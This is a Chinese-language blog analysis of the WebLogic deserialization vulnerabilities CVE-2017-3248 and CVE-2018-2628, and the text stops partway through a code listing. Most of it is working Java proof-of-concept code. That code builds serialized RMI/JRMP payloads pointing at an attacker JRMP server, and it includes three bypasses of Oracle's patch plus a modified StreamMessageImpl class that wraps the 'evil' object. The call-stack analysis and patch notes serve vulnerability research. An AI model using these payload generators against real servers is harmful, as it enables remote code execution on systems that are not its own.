前言
最近在看一些其他东西,加上工作内容有些变动,原本的Weblogic分析拖了很久才发出来。
时间隔得有点久了,若是文章中有借鉴了其他师傅的内容忘了标注,请指出。
之前做复现时顺手挖了3个洞,oracle只收了一个,并且不回复原因...不知道啥情况,待补丁发布之后再另出文章分析吧。
正文
CVE-2017-3248
影响范围
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.0
WebLogic 12.2.1.1
漏洞分析
该漏洞本质上是利用RMI的缺陷,通过建立恶意jrmp请求,反序列化来自jrmp server的数据造成反序列化攻击。
参考网上资料的流程图:
POC:
`import sun.rmi.server.UnicastRef;``import sun.rmi.transport.LiveRef;``import sun.rmi.transport.tcp.TCPEndpoint;`` ``import java.io.ByteArrayOutputStream;``import java.io.IOException;``import java.io.ObjectOutputStream;``import java.lang.reflect.Proxy;``import java.rmi.registry.Registry;``import java.rmi.server.ObjID;``import java.rmi.server.RemoteObjectInvocationHandler;``import java.util.Base64;``import java.util.Random;`` ``public class CVE_2017_3248 {` `public static Object getObject() {` `ObjID id = new ObjID(new Random().nextInt());` `TCPEndpoint tcpEndpoint = new TCPEndpoint("10.51.53.37", 6666);` `UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));` `//经过测试,单独通过UnicastRef也可以触发反序列化,下面两个封装类可有可无` `RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);` `Registry registry = (Registry) Proxy.newProxyInstance(CVE_2017_3248.class.getClassLoader(), new Class[]{Registry.class}, handler);` `return registry;` `}`` ` `public static void main(String[] args) throws IOException {` `ByteArrayOutputStream fout = new ByteArrayOutputStream();` `ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);` `objectOutputStream.writeObject(getObject());` `objectOutputStream.close();` `System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));` `}``}`
在Weblogic的反序列化过程中,通过ObjectStreamClass.readObject() -> RemoteObject.readObject()调用到UnicastRef的readExternal方法:
查看传入的LiveRef对象可以看到我们在payload中放置的TCPEndpoint以及恶意jrmp server地址,DGClient将会使用registerRefs方法注册这个对象:
并最终触发DitryCall将从jrmp server获取的数据进行反序列化:
调用栈如下:
`executeCall:245, StreamRemoteCall (sun.rmi.transport)``invoke:379, UnicastRef (sun.rmi.server)``dirty:-1, DGCImpl_Stub (sun.rmi.transport)``makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)``registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)``registerRefs:156, DGCClient (sun.rmi.transport)``read:312, LiveRef (sun.rmi.transport)``readExternal:493, UnicastRef (sun.rmi.server)``readObject:455, RemoteObject (java.rmi.server)``invoke0:-1, NativeMethodAccessorImpl (sun.reflect)``invoke:62, NativeMethodAccessorImpl (sun.reflect)``invoke:43, DelegatingMethodAccessorImpl (sun.reflect)``invoke:498, Method (java.lang.reflect)``invokeReadObject:1058, ObjectStreamClass (java.io)``readSerialData:2122, ObjectInputStream (java.io)``readOrdinaryObject:2013, ObjectInputStream (java.io)``readObject0:1535, ObjectInputStream (java.io)``defaultReadFields:2231, ObjectInputStream (java.io)``readSerialData:2155, ObjectInputStream (java.io)``readOrdinaryObject:2013, ObjectInputStream (java.io)``readObject0:1535, ObjectInputStream (java.io)``readObject:422, ObjectInputStream (java.io)``readObject:66, InboundMsgAbbrev (weblogic.rjvm)``read:38, InboundMsgAbbrev (weblogic.rjvm)``readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)``init:213, MsgAbbrevInputStream (weblogic.rjvm)``dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)``dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)``dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)``readReadySocketOnce:967, SocketMuxer (weblogic.socket)``readReadySocket:899, SocketMuxer (weblogic.socket)``processSockets:130, PosixSocketMuxer (weblogic.socket)``run:29, SocketReaderRequest (weblogic.socket)``execute:42, SocketReaderRequest (weblogic.socket)``execute:145, ExecuteThread (weblogic.kernel)``run:117, ExecuteThread (weblogic.kernel)`` `
修复
补丁在weblogic.rjvm.InboundMsgAbbrev中新增了一个resolveProxyClass方法用于检测传入RMI接口类是否为java.rmi.registry.Registry,若是则会抛出异常:
流量特征如下:
CVE-2018-2628
该CVE本应是上文中补丁的绕过,但显然上文中补丁并不是很有效(更正:从上个补丁开始就不能打CC了)
POC1:
通过上文poc代码中的提到的,其实整个反序列化过程中不需要通过java.lang.reflect.Proxy与java.rmi.server.RemoteObjectInvocationHandler代理封装,直接使用UnicastRef类进行反序列化,在反序列化过程中不会调用到resovleProxyClass。
POC2:
通过修改接口类,比如网上公开的poc用java.rmi.activation.Activator替换java.rmi.registry.Registry,但其实这里对类接口没什么要求,
换成Map都行:
POC3:
通过StreamMessageImpl绕过resolveProxyClass检查,StreamMessageImpl的反序列化流程在CVE-2016-0638中已分析过,就不再赘述。
POC代码:
`import sun.rmi.server.UnicastRef;``import sun.rmi.transport.LiveRef;``import sun.rmi.transport.tcp.TCPEndpoint;``import weblogic.jms.common.StreamMessageImpl;`` ``import javax.management.remote.rmi.RMIAuthenticator;``import java.io.*;``import java.lang.reflect.Proxy;``import java.rmi.activation.Activator;``import java.rmi.registry.Registry;``import java.rmi.server.ObjID;``import java.rmi.server.RemoteObjectInvocationHandler;``import java.util.Base64;``import java.util.Hashtable;``import java.util.Map;``import java.util.Random;`` ``public class CVE_2018_2628 {` `public static Object getPoc1() {` `ObjID id = new ObjID(new Random().nextInt());` `TCPEndpoint tcpEndpoint = new TCPEndpoint("127.0.0.1", 6666);` `UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));``return unicastRef;` `}`` ` `public static Object getPoc2() {` `ObjID id = new ObjID(new Random().nextInt());` `TCPEndpoint tcpEndpoint = new TCPEndpoint("127.0.0.1", 6666);` `UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));` `RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);``//Any Interface``Map map = (Map) Proxy.newProxyInstance(CVE_2018_2628.class.getClassLoader(), new Class[]{Map.class}, handler);``return map;` `}`` ` `public static Object getPoc3() {` `ObjID id = new ObjID(new Random().nextInt());` `TCPEndpoint tcpEndpoint = new TCPEndpoint("127.0.0.1", 6666);` `UnicastRef unicastRef = new UnicastRef(new LiveRef(id, tcpEndpoint, false));` `RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(unicastRef);``Map map = (Map) Proxy.newProxyInstance(CVE_2018_2628.class.getClassLoader(), new Class[]{Map.class}, handler);``return new StreamMessageImpl(map);` `}`` `` ` `public static void main(String[] args) throws IOException, ClassNotFoundException {` `ByteArrayOutputStream fout = new ByteArrayOutputStream();` `ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);` `objectOutputStream.writeObject(getPoc3());` `objectOutputStream.close();` `System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));`` ``// ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(fout.toByteArray());``// ObjectInputStream inputStream = new ObjectInputStream(byteArrayInputStream);``// inputStream.readObject();` `}`` ``}`
StreamMessageImpl类参照前文:
`package weblogic.jms.common;`` ``import java.io.*;``import java.lang.reflect.InvocationTargetException;``import javax.jms.Destination;``import javax.jms.JMSException;``import javax.jms.MessageEOFException;``import javax.jms.MessageNotWriteableException;``import javax.jms.StreamMessage;``import weblogic.jms.JMSClientExceptionLogger;``import com.weblogcVul.CVE_2016_0638;``public final class StreamMessageImpl extends MessageImpl implements StreamMessage, Externalizable {` `private static final byte EXTVERSION1 = 1;` `private static final byte EXTVERSION2 = 2;` `private static final byte EXTVERSION3 = 3;` `private static final byte VERSIONMASK = 127;` `static final long serialVersionUID = 7748687583664395357L;` `private static final byte UNKNOWN_TYPECODE = 0;` `private static final byte BOOLEAN_TYPE = 1;` `private static final byte BYTE_TYPE = 2;` `private static final byte CHAR_TYPE = 3;` `private static final byte DOUBLE_TYPE = 4;` `private static final byte FLOAT_TYPE = 5;` `private static final byte INT_TYPE = 6;` `private static final byte LONG_TYPE = 7;` `private static final byte SHORT_TYPE = 8;` `private static final byte STRING_UTF_TYPE = 9;` `private static final byte STRING_UTF32_TYPE = 10;` `private static final byte BYTES_TYPE = 11;` `private static final byte NULL_TYPE = 12;` `private static final String[] TYPE_CODE_STRINGS = new String[]{"invalid type code", "boolean", "byte", "char", "double", "float", "integer", "long", "short", "String", "String", "byte array", "null object"};` `private static final String ERROR_MSG_SEGMENT = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";` `private boolean readingByteArray;` `private int available_bytes;` `private transient PayloadStream payload;` `private transient boolean copyOnWrite;` `private transient BufferOutputStream bos;` `private transient BufferInputStream bis;`` ` `private Object evil ;`` ` `public StreamMessageImpl() {` `}` `public StreamMessageImpl(Object a) {` `this.evil = a;` `}`` ` `public StreamMessageImpl(StreamMessage var1) throws IOException, JMSException {` `this(var1, (Destination)null, (Destination)null);` `}`` ` `public StreamMessageImpl(StreamMessage var1, Destination var2, Destination var3) throws IOException, JMSException {` `super(var1, var2, var3);` `if (!(var1 instanceof StreamMessageImpl)) {` `var1.reset();` `}`` ` `try {` `while(true) {` `this.writeObject(var1.readObject());` `}` `} catch (MessageEOFException var5) {` `this.reset();` `this.setPropertiesWritable(false);` `}` `}`` ` `public byte getType() {` `return 5;` `}`` ` `public void nullBody() {` `this.payload = null;` `this.copyOnWrite = false;` `this.bis = null;` `this.bos = null;` `this.readingByteArray = false;` `this.available_bytes = 0;` `}`` ` `private void putTypeBack() throws IOException {` `if (!this.readingByteArray) {` `this.bis.unput();` `}`` ` `}`` ` `private String readPastEnd() {` `return JMSClientExceptionLogger.logReadPastEndLoggable().getMessage();` `}`` ` `private String readPastEnd3(int var1) {` `return JMSClientExceptionLogger.logReadPastEnd3Loggable(var1).getMessage();` `}`` ` `private String streamReadError() {` `return JMSClientExceptionLogger.logStreamReadErrorLoggable().getMessage();` `}`` ` `private String streamReadError(int var1) {` `return JMSClientExceptionLogger.logReadErrorLoggable(var1).getMessage();` `}`` ` `private String streamWriteError() {` `return JMSClientExceptionLogger.logStreamWriteErrorLoggable().getMessage();` `}`` ` `private String streamWriteError(int var1) {` `return JMSClientExceptionLogger.logWriteErrorLoggable(var1).getMessage();` `}`` ` `private String streamConversionError(String var1, String var2) {` `return JMSClientExceptionLogger.logConversionErrorLoggable(var1, var2).getMessage();` `}`` ` `private byte readType() throws JMSException {` `this.decompressMessageBody();` `this.checkReadable();` `if (this.readingByteArray) {` `return 11;` `} else {` `try {` `return this.bis.readByte();` `} catch (EOFException var2) {` `throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(0), var2);` `} catch (IOException var3) {` `throw new weblogic.jms.common.JMSException(this.streamReadError(0), var3);` `}` `}` `}`` ` `private void writeType(byte var1) throws JMSException {` `this.checkWritable();`` ` `try {` `this.bos.writeByte(var1);` `} catch (IOException var3) {` `throw new weblogic.jms.common.JMSException(JMSClientExceptionLogger.logStreamWriteErrorLoggable().getMessage(), var3);` `}` `}`` ` `public boolean readBoolean() throws JMSException {` `byte var1 = this.readType();`` ` `try {` `switch(var1) {` `case 1:` `return this.bis.readBoolean();` `case 9:` `case 10:` `return Boolean.valueOf(this.readStringInternal(var1));` `default:` `this.putTypeBack();` `String var2 = "";` `if (this.readingByteArray) {` `var2 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";` `}`` ` `throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(1)) + var2);` `}` `} catch (EOFException var3) {` `throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(10), var3);` `} catch (IOException var4) {` `throw new weblogic.jms.common.JMSException(this.streamReadError(10), var4);` `}` `}`` ` `public byte readByte() throws JMSException {` `byte var1 = this.readType();`` ` `try {` `switch(var1) {` `case 2:` `return this.bis.readByte();` `case 9:` `case 10:` `int var2 = this.bis.pos();`` ` `try {` `return Byte.parseByte(this.readStringInternal(var1));` `} catch (NumberFormatException var4) {` `this.bis.gotoPos(var2);` `this.bis.unput();` `throw var4;` `}` `default:` `this.putTypeBack();` `String var3 = "";` `if (this.readingByteArray) {` `var3 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";` `}`` ` `throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(2)) + var3);` `}` `} catch (EOFException var5) {` `throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(20), var5);` `} catch (IOException var6) {` `throw new weblogic.jms.common.JMSException(this.streamReadError(20), var6);` `}` `}`` ` `public short readShort() throws JMSException {` `byte var1 = this.readType();`` ` `try {` `switch(var1) {` `case 2:` `return (short)this.bis.readByte();` `case 3:` `case 4:` `case 5:` `case 6:` `case 7:` `default:` `this.putTypeBack();` `String var3 = "";` `if (this.readingByteArray) {` `var3 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";` `}`` ` `throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(8)) + var3);` `case 8:` `return this.bis.readShort();` `case 9:` `case 10:` `int var2 = this.bis.pos();`` ` `try {` `return Short.parseShort(this.readStringInternal(var1));` `} catch (NumberFormatException var4) {` `this.bis.gotoPos(var2);` `this.bis.unput();` `throw var4;` `}` `}` `} catch (EOFException var5) {` `throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(40), var5);` `} catch (IOException var6) {` `throw new weblogic.jms.common.JMSException(this.streamReadError(40), var6);` `}` `}`` ` `public char readChar() throws JMSException {` `byte var1 = this.readType();`` ` `try {` `switch(var1) {` `case 3:` `return this.bis.readChar();` `case 12:` `this.putTypeBack();` `throw new NullPointerException();` `default:` `this.putTypeBack();` `String var2 = "";` `if (this.readingByteArray) {` `var2 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";` `}`` ` `throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(3)) + var2);` `}` `} catch (EOFException var3) {` `throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(60), var3);` `} catch (IOException var4) {` `throw new weblogic.jms.common.JMSException(this.streamReadError(60), var4);` `}` `}`` ` `public int readInt() throws JMSException {` `byte var1 = this.readType();`` ` `try {` `switch(var1) {` `case 2:` `return this.bis.readByte();` `case 3:` `case 4:` `case 5:` `case 7:` `default:` `this.putTypeBack();` `String var3 = "";` `if (this.readingByteArray) {` `var3 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";` `}`` ` `throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(6)) + var3);` `case 6:` `return this.bis.readInt();` `case 8:` `return this.bis.readShort();` `case 9:` `case 10:` `int var2 = this.bis.pos();`` ` `try {` `return Integer.parseInt(this.readStringInternal(var1));` `} catch (NumberFormatException var4) {` `this.bis.gotoPos(var2);` `this.bis.unput();` `throw var4;` `}` `}` `} catch (EOFException var5) {` `throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(70), var5);` `} catch (IOException var6) {` `throw new weblogic.jms.common.JMSException(this.streamReadError(70), var6);` `}` `}`` ` `public long readLong() throws JMSException {` `byte var1 = this.readType();`` ` `try {` `switch(var1) {` `case 2:` `return (long)this.bis.readByte();` `case 3:` `case 4:` `case 5:` `default:` `this.putTypeBack();` `String var3 = "";` `if (this.readingByteArray) {` `var3 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";` `}`` ` `throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(7)) + var3);` `case 6:` `return (long)this.bis.readInt();` `case 7:` `return this.bis.readLong();` `case 8:` `return (long)this.bis.readShort();` `case 9:` `case 10:` `int var2 = this.bis.pos();`` ` `try {` `return Long.parseLong(this.readStringInternal(var1));` `} catch (NumberFormatException var4) {` `this.bis.gotoPos(var2);` `this.bis.unput();` `throw var4;` `}` `}` `} catch (EOFException var5) {` `throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(80), var5);` `} catch (IOException var6) {` `throw new weblogic.jms.common.JMSException(this.streamReadError(80), var6);` `}` `}`` ` `public float readFloat() throws JMSException {` `byte var1 = this.readType();`` ` `try {` `switch(var1) {` `case 5:` `return this.bis.readFloat();` `case 9:` `case 10:` `int var2 = this.bis.pos();`` ` `try {` `return Float.parseFloat(this.readStringInternal(var1));` `} catch (NumberFormatException var4) {` `this.bis.gotoPos(var2);` `this.bis.unput();` `throw var4;` `}` `default:` `this.putTypeBack();` `String var3 = "";` `if (this.readingByteArray) {` `var3 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";` `}`` ` `throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(5)) + var3);` `}` `} catch (EOFException var5) {` `throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(90), var5);` `} catch (IOException var6) {` `throw new weblogic.jms.common.JMSException(this.streamReadError(90), var6);` `}` `}`` ` `public double readDouble() throws JMSException {` `byte var1 = this.readType();`` ` `try {` `switch(var1) {` `case 4:` `return this.bis.readDouble();` `case 5:` `return (double)this.bis.readFloat();` `case 6:` `case 7:` `case 8:` `default:` `this.putTypeBack();` `String var3 = "";` `if (this.readingByteArray) {` `var3 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";` `}`` ` `throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(4)) + var3);` `case 9:` `case 10:` `int var2 = this.bis.pos();`` ` `try {` `return Double.parseDouble(this.readStringInternal(var1));` `} catch (NumberFormatException var4) {` `this.bis.gotoPos(var2);` `this.bis.unput();` `throw var4;` `}` `}` `} catch (EOFException var5) {` `throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(100), var5);` `} catch (IOException var6) {` `throw new weblogic.jms.common.JMSException(this.streamReadError(100), var6);` `}` `}`` ` `public String readString() throws JMSException {` `byte var1 = this.readType();`` ` `try {` `switch(var1) {` `case 1:` `return String.valueOf(this.bis.readBoolean());` `case 2:` `return String.valueOf(this.bis.readByte());` `case 3:` `return String.valueOf(this.bis.readChar());` `case 4:` `return String.valueOf(this.bis.readDouble());` `case 5:` `return String.valueOf(this.bis.readFloat());` `case 6:` `return String.valueOf(this.bis.readInt());` `case 7:` `return String.valueOf(this.bis.readLong());` `case 8:` `return String.valueOf(this.bis.readShort());` `case 9:` `return this.readStringInternal(var1);` `case 10:` `return this.readStringInternal(var1);` `case 11:` `default:` `this.putTypeBack();` `String var2 = "";` `if (this.readingByteArray) {` `var2 = ". Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage";` `}`` ` `throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(9)) + var2);` `case 12:` `return null;` `}` `} catch (EOFException var3) {` `throw new weblogic.jms.common.MessageEOFException(this.readPastEnd(), var3);` `} catch (IOException var4) {` `throw new weblogic.jms.common.JMSException(this.streamReadError(), var4);` `}` `}`` ` `public int readBytes(byte[] var1) throws JMSException {` `boolean var3 = true;` `if (var1 == null) {` `throw new NullPointerException();` `} else {` `try {` `if (!this.readingByteArray) {` `byte var2;` `if ((var2 = this.readType()) != 11) {` `if (var2 == 12) {` `return -1;` `}`` ` `this.bis.unput();` `throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var2), this.typeCodeToString(11)));` `}`` ` `this.available_bytes = this.bis.readInt();` `if (this.available_bytes == 0) {` `return 0;` `}`` ` `this.readingByteArray = true;` `}`` ` `if (this.available_bytes == 0) {` `this.readingByteArray = false;` `return -1;` `} else {` `int var9;` `if (var1.length > this.available_bytes) {` `var9 = this.bis.read(var1, 0, this.available_bytes);` `this.readingByteArray = false;` `} else {` `var9 = this.bis.read(var1, 0, var1.length);` `this.available_bytes -= var1.length;` `}`` ` `return var9;` `}` `} catch (EOFException var5) {` `throw new weblogic.jms.common.MessageEOFException(this.readPastEnd(), var5);` `} catch (IOException var6) {` `throw new weblogic.jms.common.JMSException(this.streamReadError(), var6);` `} catch (ArrayIndexOutOfBoundsException var7) {` `throw new weblogic.jms.common.JMSException(JMSClientExceptionLogger.logStreamReadErrorIndexLoggable().getMessage(), var7);` `} catch (ArrayStoreException var8) {` `throw new weblogic.jms.common.JMSException(JMSClientExceptionLogger.logStreamReadErrorStoreLoggable().getMessage(), var8);` `}` `}` `}`` ` `public Object readObject() throws JMSException {` `byte var1 = this.readType();`` ` `try {` `switch(var1) {` `case 1:` `return new Boolean(this.bis.readBoolean());` `case 2:` `return new Byte(this.bis.readByte());` `case 3:` `return new Character(this.bis.readChar());` `case 4:` `return new Double(this.bis.readDouble());` `case 5:` `return new Float(this.bis.readFloat());` `case 6:` `return new Integer(this.bis.readInt());` `case 7:` `return new Long(this.bis.readLong());` `case 8:` `return new Short(this.bis.readShort());` `case 9:` `return this.readStringInternal(var1);` `case 10:` `return this.readStringInternal(var1);` `case 11:` `if (this.readingByteArray) {` `throw new MessageFormatException("Can not read next data. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage");` `} else {` `int var2 = this.bis.readInt();` `byte[] var3 = new byte[var2];` `int var4 = this.bis.read(var3, 0, var2);` `if (var4 != var2) {` `throw new EOFException("");` `}`` ` `return var3;` `}` `case 12:` `return null;` `default:` `this.bis.unput();` `throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), "Object"));` `}` `} catch (EOFException var5) {` `throw new weblogic.jms.common.MessageEOFException(this.readPastEnd(), var5);` `} catch (IOException var6) {` `throw new weblogic.jms.common.JMSException(this.streamReadError(), var6);` `}` `}`` ` `public void writeBoolean(boolean var1) throws JMSException {` `this.writeType((byte)1);`` ` `try {` `this.bos.writeBoolean(var1);` `} catch (IOException var3) {` `throw new weblogic.jms.common.JMSException(this.streamWriteError(10), var3);` `}` `}`` ` `public void writeByte(byte var1) throws JMSException {` `this.writeType((byte)2);`` ` `try {` `this.bos.writeByte(var1);` `} catch (IOException var3) {` `throw new weblogic.jms.common.JMSException(this.streamWriteError(20), var3);` `}` `}`` ` `public void writeShort(short var1) throws JMSException {` `this.writeType((byte)8);`` ` `try {` `this.bos.writeShort(var1);` `} catch (IOException var3) {` `throw new weblogic.jms.common.JMSException(this.streamWriteError(30), var3);` `}` `}`` ` `public void writeChar(char var1) throws JMSException {` `this.writeType((byte)3);`` ` `try {` `this.bos.writeChar(var1);` `} catch (IOException var3) {` `throw new weblogic.jms.common.JMSException(this.streamWriteError(40), var3);` `}` `}`` ` `public void writeInt(int var1) throws JMSException {` `this.writeType((byte)6);`` ` `try {` `this.bos.writeInt(var1);` `} catch (IOException var3) {` `throw new weblogic.jms.common.JMSException(this.streamWriteError(50), var3);` `}` `}`` ` `public void writeLong(long var1) throws JMSException {` `this.writeType((byte)7);`` ` `try {` `this.bos.writeLong(var1);` `} catch (IOException var4) {` `throw new weblogic.jms.common.JMSException(this.streamWriteError(60), var4);` `}` `}`` ` `public void writeFloat(float var1) throws JMSException {` `this.writeType((byte)5);`` ` `try {` `this.bos.writeFloat(var1);` `} catch (IOException var3) {` `throw new weblogic.jms.common.JMSException(this.streamWriteError(70), var3);` `}` `}`` ` `public void writeDouble(double var1) throws JMSException {` `this.writeType((byte)4);`` ` `try {` `this.bos.writeDouble(var1);` `} catch (IOException var4) {` `throw new weblogic.jms.common.JMSException(this.streamWriteError(80), var4);` `}` `}`` ` `public void writeString(String var1) throws JMSException {` `if (var1 == null) {` `this.writeType((byte)12);` `} else {` `try {` `this.writeStringInternal(var1);` `} catch (IOException var3) {` `throw new weblogic.jms.common.JMSException(this.streamWriteError(), var3);` `}` `}`` ` `}`` ` `public void writeBytes(byte[] var1) throws JMSException {` `this.writeBytes(var1, 0, var1.length);` `}`` ` `public void writeBytes(byte[] var1, int var2, int var3) throws JMSException {` `if (var1 == null) {` `throw new NullPointerException();` `} else {` `this.writeType((byte)11);`` ` `try {` `this.bos.writeInt(var3);` `this.bos.write(var1, var2, var3);` `} catch (IOException var5) {` `throw new weblogic.jms.common.JMSException(this.streamWriteError(100), var5);` `}` `}` `}`` ` `public void writeObject(Object var1) throws JMSException {` `if (var1 instanceof Boolean) {` `this.writeBoolean((Boolean)var1);` `} else if (var1 instanceof Number) {` `if (var1 instanceof Byte) {` `this.writeByte((Byte)var1);` `} else if (var1 instanceof Double) {` `this.writeDouble((Double)var1);` `} else if (var1 instanceof Float) {` `this.writeFloat((Float)var1);` `} else if (var1 instanceof Integer) {` `this.writeInt((Integer)var1);` `} else if (var1 instanceof Long) {` `this.writeLong((Long)var1);` `} else if (var1 instanceof Short) {` `this.writeShort((Short)var1);` `}` `} else if (var1 instanceof Character) {` `this.writeChar((Character)var1);` `} else if (var1 instanceof String) {` `this.writeString((String)var1);` `} else if (var1 instanceof byte[]) {` `this.writeBytes((byte[])((byte[])var1));` `} else {` `if (var1 != null) {` `throw new MessageFormatException("Invalid Type: " + var1.getClass().getName());` `}`` ` `this.writeType((byte)12);` `}`` ` `}`` ` `public void reset() throws JMSException {` `this.setBodyWritable(false);` `if (this.bis != null) {` `try {` `this.bis.reset();` `} catch (IOException var2) {` `throw new weblogic.jms.common.JMSException(this.streamReadError(217), var2);` `}` `} else if (this.bos != null) {` `this.payload = (PayloadStream)this.bos.moveToPayload();` `this.bos = null;` `}`` ` `this.copyOnWrite = false;` `}`` ` `public MessageImpl copy() throws JMSException {` `StreamMessageImpl var1 = new StreamMessageImpl();` `super.copy(var1);` `if (this.bos != null) {` `var1.payload = this.bos.copyPayloadWithoutSharedStream();` `} else if (this.payload != null) {` `var1.payload = this.payload.copyPayloadWithoutSharedStream();` `}`` ` `var1.copyOnWrite = this.copyOnWrite = true;` `var1.setBodyWritable(false);` `var1.setPropertiesWritable(false);` `return var1;` `}`` ` `private void checkWritable() throws JMSException {` `super.writeMode();` `if (this.bos == null) {` `this.bos = PayloadFactoryImpl.createOutputStream();` `} else if (this.copyOnWrite) {` `this.bos.copyBuffer();` `this.copyOnWrite = false;` `}`` ` `}`` ` `private void checkReadable() throws JMSException {` `super.readMode();` `if (this.payload == null) {` `throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(500));` `} else {` `if (this.bis == null) {` `try {` `this.bis = this.payload.getInputStream();` `} catch (IOException var2) {` `throw new weblogic.jms.common.JMSException(this.streamReadError(510), var2);` `}` `}`` ` `}` `}`` ` `public String toString() {` `return "StreamMessage[" + this.getJMSMessageID() + "]";` `}`` ` `public void writeExternal(ObjectOutput var1) throws IOException {` `super.writeExternal(var1);` `ByteArrayOutputStream var2 = new ByteArrayOutputStream();` `ObjectOutputStream var3 = new ObjectOutputStream(var2);`` ` `var3.writeObject(this.evil);` `var3.flush();` `byte[] var5 = var2.toByteArray();` `var1.writeByte(1);` `var1.writeInt(var5.length);` `var1.write(var5);`` ``// int var3 = 2147483647;``// ObjectOutput var2;``// if (var1 instanceof JMSObjectOutputWrapper) {``// var3 = ((JMSObjectOutputWrapper)var1).getCompressionThreshold();``// var2 = ((JMSObjectOutputWrapper)var1).getInnerObjectOutput();``// } else {``// var2 = var1;``// }``//``// byte var4;``// if (this.getVersion(var2) >= 30) {``// var4 = (byte)(3 | (this.shouldCompress(var2, var3) ? -128 : 0));``// } else {``// var4 = 2;``// }``//``// var2.writeByte(var4);``// if (this.isCompressed()) {``// if (var4 == 2) {``// this.decompress().writeLengthAndData(var2);``// } else {``// this.flushCompressedMessageBody(var2);``// }``//``// } else {``// Object var5;``// if (this.bos != null) {``// var5 = this.bos;``// } else {``// if (this.payload == null) {``// var2.writeInt(0);``// return;``// }``//``// var5 = this.payload;``// }``//``// if ((var4 & -128) != 0) {``// this.writeExternalCompressPayload(var2, (Payload)var5);``// } else {``// ((Payload)var5).writeLengthAndData(var2);``// }``//``// }` `}`` ` `public final void decompressMessageBody() throws JMSException {` `if (this.isCompressed()) {` `try {` `this.payload = (PayloadStream)this.decompress();` `} catch (IOException var6) {` `throw new weblogic.jms.common.JMSException(JMSClientExceptionLogger.logErrorDecompressMessageBodyLoggable().getMessage(), var6);` `} finally {` `this.cleanupCompressedMessageBody();` `}`` ` `}` 